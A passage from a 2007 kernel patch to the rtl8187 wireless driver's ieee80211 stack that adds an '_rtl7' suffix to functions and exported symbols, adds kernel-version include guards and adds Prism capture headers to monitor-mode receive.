ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-02-26 03:05:15.911547530 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +63,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +83,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +91,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +102,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +116,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +141,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +152,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +170,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +178,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +194,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +213,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +246,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +271,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +285,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-02-26 03:05:15.941547983 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +128,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +158,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +197,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +210,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +220,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +242,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +251,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +317,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +358,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +368,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +403,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +413,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +431,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +508,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +547,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +565,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +593,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +619,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +639,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +670,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +683,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +694,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +728,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +738,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +758,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +786,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +827,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +960,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +977,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1028,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1055,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1078,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1211,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1219,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1236,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1268,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1303,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1326,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1370,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1385,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1403,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1411,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1419,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-02-26 03:05:15.981548586 +0100 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } 